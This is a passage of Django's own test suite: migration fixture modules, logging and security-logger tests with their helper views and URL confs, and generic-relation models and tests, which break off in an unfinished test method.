    raise RuntimeError('Abort migration')


class Migration(migrations.Migration):
    atomic = False

    operations = [
        migrations.CreateModel(
            "Editor",
            [
                ("name", models.CharField(primary_key=True, max_length=255)),
            ],
        ),
        migrations.RunPython(raise_error, atomic=True),
    ]


















# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    replaces = [
        ("app2", "1_auto"),
        ("app2", "2_auto"),
    ]

    dependencies = [("app1", "1_auto")]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("app1", "1_auto")]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("app2", "1_auto")]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("app1", "2_auto"), ("app2", "2_auto")]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    replaces = [
        ("app1", "2_auto"),
        ("app1", "3_auto"),
    ]

    dependencies = [("app1", "1_auto"), ("app2", "1_squashed_2")]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):
    pass






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("app1", "1_auto")]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("app1", "2_squashed_3")]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.conf import settings
from django.db import migrations, models


class Migration(migrations.Migration):
    dependencies = [
        migrations.swappable_dependency(settings.AUTH_USER_MODEL),
    ]

    operations = [

        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
            ],
        ),

        migrations.CreateModel(
            "Tribble",
            [
                ("id", models.AutoField(primary_key=True)),
                ("author", models.ForeignKey(settings.AUTH_USER_MODEL, models.CASCADE, to_field="id")),
            ],
        )

    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='SillyModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('silly_field', models.BooleanField(default=False)),
            ],
            options={
            },
            bases=(models.Model,),
        ),
    ]


















# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    initial = True

    operations = [
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    operations = [

        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),

        migrations.CreateModel(
            "Tribble",
            [
                ("id", models.AutoField(primary_key=True)),
                ("fluffy", models.BooleanField(default=True)),
            ],
        )

    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ("migrations", "thefirst"),
        ("migrations2", "0002_second"),
    ]

    operations = [

        migrations.DeleteModel("Tribble"),

        migrations.RemoveField("Author", "silly_field"),

        migrations.AddField("Author", "rating", models.IntegerField(default=0)),

        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
                ("author", models.ForeignKey("migrations.Author", models.SET_NULL, null=True)),
            ],
        )

    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    initial = False

    operations = [
        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),
        migrations.CreateModel(
            "Tribble",
            [
                ("id", models.AutoField(primary_key=True)),
                ("fluffy", models.BooleanField(default=True)),
            ],
        ),
        migrations.AlterUniqueTogether(
            name='author',
            unique_together=set([('name', 'slug')]),
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    initial = True

    operations = [
        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),
        migrations.CreateModel(
            "Tribble",
            [
                ("id", models.AutoField(primary_key=True)),
                ("fluffy", models.BooleanField(default=True)),
            ],
        ),
        migrations.AlterUniqueTogether(
            name='author',
            unique_together=set([('name', 'slug')]),
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    initial = True

    dependencies = [
        ("migrations", "0001_initial"),
    ]

    operations = [
        migrations.AddField("Author", "rating", models.IntegerField(default=0)),
        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
                ("author", models.ForeignKey("migrations.Author", models.SET_NULL, null=True)),
            ],
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    operations = [

        migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),

        migrations.CreateModel(
            "Tribble",
            [
                ("id", models.AutoField(primary_key=True)),
                ("fluffy", models.BooleanField(default=True)),
            ],
        )

    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [("migrations", "0001_initial")]

    operations = [

        migrations.CreateModel(
            "Something",
            [
                ("id", models.AutoField(primary_key=True)),
            ],
        )

    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [("migrations", "0001_initial")]

    operations = [

        migrations.DeleteModel("Tribble"),

        migrations.RemoveField("Author", "silly_field"),

        migrations.AddField("Author", "rating", models.IntegerField(default=0)),

        migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
                ("author", models.ForeignKey("migrations.Author", models.SET_NULL, null=True)),
            ],
        )

    ]
























# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("migrations", "1_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    replaces = [
        ("migrations", "3_auto"),
        ("migrations", "4_auto"),
        ("migrations", "5_auto"),
    ]

    dependencies = [("migrations", "2_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("migrations", "6_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [("migrations", "5_auto")]

    operations = [
        migrations.RunPython(migrations.RunPython.noop)
    ]






from __future__ import unicode_literals

from django.core.exceptions import DisallowedHost, SuspiciousOperation
from django.http import HttpResponse


def innocent(request):
    return HttpResponse('innocent')


def suspicious(request):
    raise SuspiciousOperation('dubious')


def suspicious_spec(request):
    raise DisallowedHost('dubious')






import logging

from django.conf import settings
from django.core.mail.backends.base import BaseEmailBackend


class MyHandler(logging.Handler):
    def __init__(self):
        logging.Handler.__init__(self)
        self.config = settings.LOGGING


class MyEmailBackend(BaseEmailBackend):
    def send_messages(self, email_messages):
        pass






from __future__ import unicode_literals

from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^innocent/$', views.innocent),
    url(r'^suspicious/$', views.suspicious),
    url(r'^suspicious_spec/$', views.suspicious_spec),
]












# -*- coding:utf-8 -*-
from __future__ import unicode_literals

import logging
import warnings

from admin_scripts.tests import AdminScriptTestCase

from django.conf import settings
from django.core import mail
from django.core.files.temp import NamedTemporaryFile
from django.db import connection
from django.test import RequestFactory, SimpleTestCase, override_settings
from django.test.utils import LoggingCaptureMixin, patch_logger
from django.utils.deprecation import RemovedInNextVersionWarning
from django.utils.log import (
    DEFAULT_LOGGING, AdminEmailHandler, CallbackFilter, RequireDebugFalse,
    RequireDebugTrue,
)

from .logconfig import MyEmailBackend

# logging config prior to using filter with mail_admins
OLD_LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,
    'handlers': {
        'mail_admins': {
            'level': 'ERROR',
            'class': 'django.utils.log.AdminEmailHandler'
        }
    },
    'loggers': {
        'django.request': {
            'handlers': ['mail_admins'],
            'level': 'ERROR',
            'propagate': True,
        },
    }
}


class LoggingFiltersTest(SimpleTestCase):
    def test_require_debug_false_filter(self):
        """
        Test the RequireDebugFalse filter class.
        """
        filter_ = RequireDebugFalse()

        with self.settings(DEBUG=True):
            self.assertIs(filter_.filter("record is not used"), False)

        with self.settings(DEBUG=False):
            self.assertIs(filter_.filter("record is not used"), True)

    def test_require_debug_true_filter(self):
        """
        Test the RequireDebugTrue filter class.
        """
        filter_ = RequireDebugTrue()

        with self.settings(DEBUG=True):
            self.assertIs(filter_.filter("record is not used"), True)

        with self.settings(DEBUG=False):
            self.assertIs(filter_.filter("record is not used"), False)


class SetupDefaultLoggingMixin(object):

    @classmethod
    def setUpClass(cls):
        super(SetupDefaultLoggingMixin, cls).setUpClass()
        cls._logging = settings.LOGGING
        logging.config.dictConfig(DEFAULT_LOGGING)

    @classmethod
    def tearDownClass(cls):
        super(SetupDefaultLoggingMixin, cls).tearDownClass()
        logging.config.dictConfig(cls._logging)


class DefaultLoggingTests(SetupDefaultLoggingMixin, LoggingCaptureMixin, SimpleTestCase):

    def test_django_logger(self):
        """
        The 'django' base logger only output anything when DEBUG=True.
        """
        self.logger.error("Hey, this is an error.")
        self.assertEqual(self.logger_output.getvalue(), '')

        with self.settings(DEBUG=True):
            self.logger.error("Hey, this is an error.")
            self.assertEqual(self.logger_output.getvalue(), 'Hey, this is an error.\n')

    @override_settings(DEBUG=True)
    def test_django_logger_warning(self):
        self.logger.warning('warning')
        self.assertEqual(self.logger_output.getvalue(), 'warning\n')

    @override_settings(DEBUG=True)
    def test_django_logger_info(self):
        self.logger.info('info')
        self.assertEqual(self.logger_output.getvalue(), 'info\n')

    @override_settings(DEBUG=True)
    def test_django_logger_debug(self):
        self.logger.debug('debug')
        self.assertEqual(self.logger_output.getvalue(), '')


@override_settings(DEBUG=True, ROOT_URLCONF='logging_tests.urls')
class HandlerLoggingTests(SetupDefaultLoggingMixin, LoggingCaptureMixin, SimpleTestCase):

    def test_page_found_no_warning(self):
        self.client.get('/innocent/')
        self.assertEqual(self.logger_output.getvalue(), '')

    def test_page_not_found_warning(self):
        self.client.get('/does_not_exist/')
        self.assertEqual(self.logger_output.getvalue(), 'Not Found: /does_not_exist/\n')


@override_settings(
    DEBUG=True,
    USE_I18N=True,
    LANGUAGES=[('en', 'English')],
    MIDDLEWARE=[
        'django.middleware.locale.LocaleMiddleware',
        'django.middleware.common.CommonMiddleware',
    ],
    ROOT_URLCONF='logging_tests.urls_i18n',
)
class I18nLoggingTests(SetupDefaultLoggingMixin, LoggingCaptureMixin, SimpleTestCase):

    def test_i18n_page_found_no_warning(self):
        self.client.get('/exists/')
        self.client.get('/en/exists/')
        self.assertEqual(self.logger_output.getvalue(), '')

    def test_i18n_page_not_found_warning(self):
        self.client.get('/this_does_not/')
        self.client.get('/en/nor_this/')
        self.assertEqual(self.logger_output.getvalue(), 'Not Found: /this_does_not/\nNot Found: /en/nor_this/\n')


class WarningLoggerTests(SimpleTestCase):
    """
    Tests that warnings output for RemovedInDjangoXXWarning (XX being the next
    Django version) is enabled and captured to the logging system
    """
    def setUp(self):
        # If tests are invoke with "-Wall" (or any -W flag actually) then
        # warning logging gets disabled (see configure_logging in django/utils/log.py).
        # However, these tests expect warnings to be logged, so manually force warnings
        # to the logs. Use getattr() here because the logging capture state is
        # undocumented and (I assume) brittle.
        self._old_capture_state = bool(getattr(logging, '_warnings_showwarning', False))
        logging.captureWarnings(True)

    def tearDown(self):
        # Reset warnings state.
        logging.captureWarnings(self._old_capture_state)

    @override_settings(DEBUG=True)
    def test_error_filter_still_raises(self):
        with warnings.catch_warnings():
            warnings.filterwarnings(
                'error',
                category=RemovedInNextVersionWarning
            )
            with self.assertRaises(RemovedInNextVersionWarning):
                warnings.warn('Foo Deprecated', RemovedInNextVersionWarning)


class CallbackFilterTest(SimpleTestCase):
    def test_sense(self):
        f_false = CallbackFilter(lambda r: False)
        f_true = CallbackFilter(lambda r: True)

        self.assertEqual(f_false.filter("record"), False)
        self.assertEqual(f_true.filter("record"), True)

    def test_passes_on_record(self):
        collector = []

        def _callback(record):
            collector.append(record)
            return True
        f = CallbackFilter(_callback)

        f.filter("a record")

        self.assertEqual(collector, ["a record"])


class AdminEmailHandlerTest(SimpleTestCase):
    logger = logging.getLogger('django')

    def get_admin_email_handler(self, logger):
        # Ensure that AdminEmailHandler does not get filtered out
        # even with DEBUG=True.
        admin_email_handler = [
            h for h in logger.handlers
            if h.__class__.__name__ == "AdminEmailHandler"
        ][0]
        return admin_email_handler

    def test_fail_silently(self):
        admin_email_handler = self.get_admin_email_handler(self.logger)
        self.assertTrue(admin_email_handler.connection().fail_silently)

    @override_settings(
        ADMINS=[('whatever admin', 'admin@example.com')],
        EMAIL_SUBJECT_PREFIX='-SuperAwesomeSubject-'
    )
    def test_accepts_args(self):
        """
        Ensure that user-supplied arguments and the EMAIL_SUBJECT_PREFIX
        setting are used to compose the email subject.
        Refs #16736.
        """
        message = "Custom message that says '%s' and '%s'"
        token1 = 'ping'
        token2 = 'pong'

        admin_email_handler = self.get_admin_email_handler(self.logger)
        # Backup then override original filters
        orig_filters = admin_email_handler.filters
        try:
            admin_email_handler.filters = []

            self.logger.error(message, token1, token2)

            self.assertEqual(len(mail.outbox), 1)
            self.assertEqual(mail.outbox[0].to, ['admin@example.com'])
            self.assertEqual(mail.outbox[0].subject,
                             "-SuperAwesomeSubject-ERROR: Custom message that says 'ping' and 'pong'")
        finally:
            # Restore original filters
            admin_email_handler.filters = orig_filters

    @override_settings(
        ADMINS=[('whatever admin', 'admin@example.com')],
        EMAIL_SUBJECT_PREFIX='-SuperAwesomeSubject-',
        INTERNAL_IPS=['127.0.0.1'],
    )
    def test_accepts_args_and_request(self):
        """
        Ensure that the subject is also handled if being
        passed a request object.
        """
        message = "Custom message that says '%s' and '%s'"
        token1 = 'ping'
        token2 = 'pong'

        admin_email_handler = self.get_admin_email_handler(self.logger)
        # Backup then override original filters
        orig_filters = admin_email_handler.filters
        try:
            admin_email_handler.filters = []
            rf = RequestFactory()
            request = rf.get('/')
            self.logger.error(
                message, token1, token2,
                extra={
                    'status_code': 403,
                    'request': request,
                }
            )
            self.assertEqual(len(mail.outbox), 1)
            self.assertEqual(mail.outbox[0].to, ['admin@example.com'])
            self.assertEqual(mail.outbox[0].subject,
                             "-SuperAwesomeSubject-ERROR (internal IP): Custom message that says 'ping' and 'pong'")
        finally:
            # Restore original filters
            admin_email_handler.filters = orig_filters

    @override_settings(
        ADMINS=[('admin', 'admin@example.com')],
        EMAIL_SUBJECT_PREFIX='',
        DEBUG=False,
    )
    def test_subject_accepts_newlines(self):
        """
        Ensure that newlines in email reports' subjects are escaped to avoid
        AdminErrorHandler to fail.
        Refs #17281.
        """
        message = 'Message \r\n with newlines'
        expected_subject = 'ERROR: Message \\r\\n with newlines'

        self.assertEqual(len(mail.outbox), 0)

        self.logger.error(message)

        self.assertEqual(len(mail.outbox), 1)
        self.assertNotIn('\n', mail.outbox[0].subject)
        self.assertNotIn('\r', mail.outbox[0].subject)
        self.assertEqual(mail.outbox[0].subject, expected_subject)

    @override_settings(
        ADMINS=[('admin', 'admin@example.com')],
        DEBUG=False,
    )
    def test_uses_custom_email_backend(self):
        """
        Refs #19325
        """
        message = 'All work and no play makes Jack a dull boy'
        admin_email_handler = self.get_admin_email_handler(self.logger)
        mail_admins_called = {'called': False}

        def my_mail_admins(*args, **kwargs):
            connection = kwargs['connection']
            self.assertIsInstance(connection, MyEmailBackend)
            mail_admins_called['called'] = True

        # Monkeypatches
        orig_mail_admins = mail.mail_admins
        orig_email_backend = admin_email_handler.email_backend
        mail.mail_admins = my_mail_admins
        admin_email_handler.email_backend = (
            'logging_tests.logconfig.MyEmailBackend')

        try:
            self.logger.error(message)
            self.assertTrue(mail_admins_called['called'])
        finally:
            # Revert Monkeypatches
            mail.mail_admins = orig_mail_admins
            admin_email_handler.email_backend = orig_email_backend

    @override_settings(
        ADMINS=[('whatever admin', 'admin@example.com')],
    )
    def test_emit_non_ascii(self):
        """
        #23593 - AdminEmailHandler should allow Unicode characters in the
        request.
        """
        handler = self.get_admin_email_handler(self.logger)
        record = self.logger.makeRecord('name', logging.ERROR, 'function', 'lno', 'message', None, None)
        rf = RequestFactory()
        url_path = '/º'
        record.request = rf.get(url_path)
        handler.emit(record)
        self.assertEqual(len(mail.outbox), 1)
        msg = mail.outbox[0]
        self.assertEqual(msg.to, ['admin@example.com'])
        self.assertEqual(msg.subject, "[Django] ERROR (EXTERNAL IP): message")
        self.assertIn("Report at %s" % url_path, msg.body)

    @override_settings(
        MANAGERS=[('manager', 'manager@example.com')],
        DEBUG=False,
    )
    def test_customize_send_mail_method(self):
        class ManagerEmailHandler(AdminEmailHandler):
            def send_mail(self, subject, message, *args, **kwargs):
                mail.mail_managers(subject, message, *args, connection=self.connection(), **kwargs)

        handler = ManagerEmailHandler()
        record = self.logger.makeRecord('name', logging.ERROR, 'function', 'lno', 'message', None, None)
        self.assertEqual(len(mail.outbox), 0)
        handler.emit(record)
        self.assertEqual(len(mail.outbox), 1)
        self.assertEqual(mail.outbox[0].to, ['manager@example.com'])

    @override_settings(ALLOWED_HOSTS='example.com')
    def test_disallowed_host_doesnt_crash(self):
        admin_email_handler = self.get_admin_email_handler(self.logger)
        old_include_html = admin_email_handler.include_html

        # Text email
        admin_email_handler.include_html = False
        try:
            self.client.get('/', HTTP_HOST='evil.com')
        finally:
            admin_email_handler.include_html = old_include_html

        # HTML email
        admin_email_handler.include_html = True
        try:
            self.client.get('/', HTTP_HOST='evil.com')
        finally:
            admin_email_handler.include_html = old_include_html


class SettingsConfigTest(AdminScriptTestCase):
    """
    Test that accessing settings in a custom logging handler does not trigger
    a circular import error.
    """
    def setUp(self):
        log_config = """{
    'version': 1,
    'handlers': {
        'custom_handler': {
            'level': 'INFO',
            'class': 'logging_tests.logconfig.MyHandler',
        }
    }
}"""
        self.write_settings('settings.py', sdict={'LOGGING': log_config})

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_circular_dependency(self):
        # validate is just an example command to trigger settings configuration
        out, err = self.run_manage(['check'])
        self.assertNoOutput(err)
        self.assertOutput(out, "System check identified no issues (0 silenced).")


def dictConfig(config):
    dictConfig.called = True
dictConfig.called = False


class SetupConfigureLogging(SimpleTestCase):
    """
    Test that calling django.setup() initializes the logging configuration.
    """
    @override_settings(LOGGING_CONFIG='logging_tests.tests.dictConfig',
                       LOGGING=OLD_LOGGING)
    def test_configure_initializes_logging(self):
        from django import setup
        setup()
        self.assertTrue(dictConfig.called)


@override_settings(DEBUG=True, ROOT_URLCONF='logging_tests.urls')
class SecurityLoggerTest(SimpleTestCase):

    def test_suspicious_operation_creates_log_message(self):
        with patch_logger('django.security.SuspiciousOperation', 'error') as calls:
            self.client.get('/suspicious/')
            self.assertEqual(len(calls), 1)
            self.assertEqual(calls[0], 'dubious')

    def test_suspicious_operation_uses_sublogger(self):
        with patch_logger('django.security.DisallowedHost', 'error') as calls:
            self.client.get('/suspicious_spec/')
            self.assertEqual(len(calls), 1)
            self.assertEqual(calls[0], 'dubious')

    @override_settings(
        ADMINS=[('admin', 'admin@example.com')],
        DEBUG=False,
    )
    def test_suspicious_email_admins(self):
        self.client.get('/suspicious/')
        self.assertEqual(len(mail.outbox), 1)
        self.assertIn('Report at /suspicious/', mail.outbox[0].body)


class SettingsCustomLoggingTest(AdminScriptTestCase):
    """
    Test that using a logging defaults are still applied when using a custom
    callable in LOGGING_CONFIG (i.e., logging.config.fileConfig).
    """
    def setUp(self):
        logging_conf = """
[loggers]
keys=root
[handlers]
keys=stream
[formatters]
keys=simple
[logger_root]
handlers=stream
[handler_stream]
class=StreamHandler
formatter=simple
args=(sys.stdout,)
[formatter_simple]
format=%(message)s
"""
        self.temp_file = NamedTemporaryFile()
        self.temp_file.write(logging_conf.encode('utf-8'))
        self.temp_file.flush()
        sdict = {'LOGGING_CONFIG': '"logging.config.fileConfig"',
                 'LOGGING': 'r"%s"' % self.temp_file.name}
        self.write_settings('settings.py', sdict=sdict)

    def tearDown(self):
        self.temp_file.close()
        self.remove_settings('settings.py')

    def test_custom_logging(self):
        out, err = self.run_manage(['check'])
        self.assertNoOutput(err)
        self.assertOutput(out, "System check identified no issues (0 silenced).")


class SchemaLoggerTests(SimpleTestCase):

    def test_extra_args(self):
        editor = connection.schema_editor(collect_sql=True)
        sql = "SELECT * FROM foo WHERE id in (%s, %s)"
        params = [42, 1337]
        with patch_logger('django.db.backends.schema', 'debug', log_kwargs=True) as logger:
            editor.execute(sql, params)
        self.assertEqual(
            logger,
            [(
                'SELECT * FROM foo WHERE id in (%s, %s); (params [42, 1337])',
                {'extra': {
                    'sql': 'SELECT * FROM foo WHERE id in (%s, %s)',
                    'params': [42, 1337],
                }},
            )]
        )






from __future__ import unicode_literals

from django.conf.urls import url
from django.conf.urls.i18n import i18n_patterns
from django.http import HttpResponse

urlpatterns = i18n_patterns(
    url(r'^exists/$', lambda r: HttpResponse()),
)






from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.db.models.deletion import ProtectedError
from django.utils.encoding import python_2_unicode_compatible

__all__ = ('Link', 'Place', 'Restaurant', 'Person', 'Address',
           'CharLink', 'TextLink', 'OddRelation1', 'OddRelation2',
           'Contact', 'Organization', 'Note', 'Company')


@python_2_unicode_compatible
class Link(models.Model):
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey()

    def __str__(self):
        return "Link to %s id=%s" % (self.content_type, self.object_id)


@python_2_unicode_compatible
class Place(models.Model):
    name = models.CharField(max_length=100)
    links = GenericRelation(Link)

    def __str__(self):
        return "Place: %s" % self.name


@python_2_unicode_compatible
class Restaurant(Place):
    def __str__(self):
        return "Restaurant: %s" % self.name


@python_2_unicode_compatible
class Address(models.Model):
    street = models.CharField(max_length=80)
    city = models.CharField(max_length=50)
    state = models.CharField(max_length=2)
    zipcode = models.CharField(max_length=5)
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey()

    def __str__(self):
        return '%s %s, %s %s' % (self.street, self.city, self.state, self.zipcode)


@python_2_unicode_compatible
class Person(models.Model):
    account = models.IntegerField(primary_key=True)
    name = models.CharField(max_length=128)
    addresses = GenericRelation(Address)

    def __str__(self):
        return self.name


class CharLink(models.Model):
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.CharField(max_length=100)
    content_object = GenericForeignKey()


class TextLink(models.Model):
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.TextField()
    content_object = GenericForeignKey()


class OddRelation1(models.Model):
    name = models.CharField(max_length=100)
    clinks = GenericRelation(CharLink)


class OddRelation2(models.Model):
    name = models.CharField(max_length=100)
    tlinks = GenericRelation(TextLink)


# models for test_q_object_or:
class Note(models.Model):
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey()
    note = models.TextField()


class Contact(models.Model):
    notes = GenericRelation(Note)


class Organization(models.Model):
    name = models.CharField(max_length=255)
    contacts = models.ManyToManyField(Contact, related_name='organizations')


@python_2_unicode_compatible
class Company(models.Model):
    name = models.CharField(max_length=100)
    links = GenericRelation(Link)

    def __str__(self):
        return "Company: %s" % self.name


# For testing #13085 fix, we also use Note model defined above
class Developer(models.Model):
    name = models.CharField(max_length=15)


@python_2_unicode_compatible
class Team(models.Model):
    name = models.CharField(max_length=15)
    members = models.ManyToManyField(Developer)

    def __str__(self):
        return "%s team" % self.name

    def __len__(self):
        return self.members.count()


class Guild(models.Model):
    name = models.CharField(max_length=15)
    members = models.ManyToManyField(Developer)

    def __nonzero__(self):

        return self.members.count()


class Tag(models.Model):
    content_type = models.ForeignKey(ContentType, models.CASCADE, related_name='g_r_r_tags')
    object_id = models.CharField(max_length=15)
    content_object = GenericForeignKey()
    label = models.CharField(max_length=15)


class Board(models.Model):
    name = models.CharField(primary_key=True, max_length=15)


class SpecialGenericRelation(GenericRelation):
    def __init__(self, *args, **kwargs):
        super(SpecialGenericRelation, self).__init__(*args, **kwargs)
        self.editable = True
        self.save_form_data_calls = 0

    def save_form_data(self, *args, **kwargs):
        self.save_form_data_calls += 1


class HasLinks(models.Model):
    links = SpecialGenericRelation(Link)

    class Meta:
        abstract = True


class HasLinkThing(HasLinks):
    pass


class A(models.Model):
    flag = models.NullBooleanField()
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey('content_type', 'object_id')


class B(models.Model):
    a = GenericRelation(A)

    class Meta:
        ordering = ('id',)


class C(models.Model):
    b = models.ForeignKey(B, models.CASCADE)

    class Meta:
        ordering = ('id',)


class D(models.Model):
    b = models.ForeignKey(B, models.SET_NULL, null=True)

    class Meta:
        ordering = ('id',)


# Ticket #22998

class Node(models.Model):
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    content = GenericForeignKey('content_type', 'object_id')


class Content(models.Model):
    nodes = GenericRelation(Node)
    related_obj = models.ForeignKey('Related', models.CASCADE)


class Related(models.Model):
    pass


def prevent_deletes(sender, instance, **kwargs):
    raise ProtectedError("Not allowed to delete.", [instance])

models.signals.pre_delete.connect(prevent_deletes, sender=Node)












from django.db.models import Q, Sum
from django.db.models.deletion import ProtectedError
from django.db.utils import IntegrityError
from django.forms.models import modelform_factory
from django.test import TestCase, skipIfDBFeature

from .models import (
    A, Address, B, Board, C, CharLink, Company, Contact, Content, D, Developer,
    Guild, HasLinkThing, Link, Node, Note, OddRelation1, OddRelation2,
    Organization, Person, Place, Related, Restaurant, Tag, Team, TextLink,
)


class GenericRelationTests(TestCase):

    def test_inherited_models_content_type(self):
        """
        Test that GenericRelations on inherited classes use the correct content
        type.
        """

        p = Place.objects.create(name="South Park")
        r = Restaurant.objects.create(name="Chubby's")
        l1 = Link.objects.create(content_object=p)
        l2 = Link.objects.create(content_object=r)
        self.assertEqual(list(p.links.all()), [l1])
        self.assertEqual(list(r.links.all()), [l2])

    def test_reverse_relation_pk(self):
        """
        Test that the correct column name is used for the primary key on the
        originating model of a query.  See #12664.
        """
        p = Person.objects.create(account=23, name='Chef')
        Address.objects.create(street='123 Anywhere Place',
                               city='Conifer', state='CO',
                               zipcode='80433', content_object=p)

        qs = Person.objects.filter(addresses__zipcode='80433')
        self.assertEqual(1, qs.count())
        self.assertEqual('Chef', qs[0].name)

    def test_charlink_delete(self):
        oddrel = OddRelation1.objects.create(name='clink')
        CharLink.objects.create(content_object=oddrel)
        oddrel.delete()

    def test_textlink_delete(self):
        oddrel = OddRelation2.objects.create(name='tlink')
        TextLink.objects.create(content_object=oddrel)
        oddrel.delete()

    def test_q_object_or(self):
        """
        Tests that SQL query parameters for generic relations are properly
        grouped when OR is used.

        Test for bug http://code.djangoproject.com/ticket/11535

        In this bug the first query (below) works while the second, with the
        query parameters the same but in reverse order, does not.

        The issue is that the generic relation conditions do not get properly
        grouped in parentheses.
        """
        note_contact = Contact.objects.create()
        org_contact = Contact.objects.create()
        Note.objects.create(note='note', content_object=note_contact)
        org = Organization.objects.create(name='org name')
        org.contacts.add(org_contact)
        # search with a non-matching note and a matching org name
        qs = Contact.objects.filter(Q(notes__note__icontains=r'other note') |
                                    Q(organizations__name__icontains=r'org name'))
        self.assertIn(org_contact, qs)
        # search again, with the same query parameters, in reverse order
        qs = Contact.objects.filter(
            Q(organizations__name__icontains=r'org name') |
            Q(notes__note__icontains=r'other note'))
        self.assertIn(org_contact, qs)

    def test_join_reuse(self):
        qs = Person.objects.filter(
            addresses__street='foo'
        ).filter(
            addresses__street='bar'
        )
        self.assertEqual(str(qs.query).count('JOIN'), 2)

    def test_generic_relation_ordering(self):
        """
        Test that ordering over a generic relation does not include extraneous
        duplicate results, nor excludes rows not participating in the relation.
        """
        p1 = Place.objects.create(name="South Park")
        p2 = Place.objects.create(name="The City")
        c = Company.objects.create(name="Chubby's Intl.")
        Link.objects.create(content_object=p1)
        Link.objects.create(content_object=c)

        places = list(Place.objects.order_by('links__id'))

        def count_places(place):
            return len([p for p in places if p.id == place.id])

        self.assertEqual(len(places), 2)
        self.assertEqual(count_places(p1), 1)
        self.assertEqual(count_places(p2), 1)

    def test_target_model_is_unsaved(self):
